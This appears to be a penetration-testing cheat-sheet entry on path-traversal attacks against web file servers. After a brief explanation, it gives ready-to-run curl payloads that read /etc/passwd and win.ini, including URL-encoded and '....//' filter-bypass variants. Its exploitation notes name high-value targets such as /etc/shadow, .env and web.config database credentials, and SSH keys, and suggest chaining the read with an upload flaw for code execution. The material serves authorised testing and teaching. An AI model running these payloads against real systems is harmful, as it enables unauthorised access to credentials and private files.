A file server maps a request to a file on disk, and if it concatenates the served root with the requested path without canonicalising and bounding the result, an attacker escapes the root with traversal sequences. The classic ../ walks up directories; encoded forms (%2e%2e%2f, double-encoding, overlong UTF-8), mixed separators on Windows (..\), and absolute paths bypass naive filters. The result is arbitrary file read limited only by the server process's privileges, recovering system files, application configuration, credentials, and source.
# basic and encoded traversal in the path or a download parameter
curl -s --path-as-is http://<target>/../../../../etc/passwd
curl -s 'http://<target>/download?file=../../../../etc/passwd'
curl -s 'http://<target>/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' # url-encoded
curl -s 'http://<target>/download?file=....//....//etc/passwd' # filter bypass
# Windows targets
curl -s --path-as-is 'http://<target>/..\..\..\windows\win.ini'
Exploitation notes#
- Use
--path-as-isso curl does not collapse the../before sending; many filters are bypassed by encoding (%2e%2e%2f), double-encoding, or the....//pattern that survives a single naive strip. - Target high-value files for the platform:
/etc/passwdand/etc/shadow, application config (web.config,.env, framework settings with DB creds), SSH keys, and the app's own source for further flaws. - A traversal in a download/
file=parameter is as useful as one in the path; test both. - Read is bounded by the server process privilege; a file server running as root or a service account reaches more. Pair with any upload for write-side impact (File upload to RCE).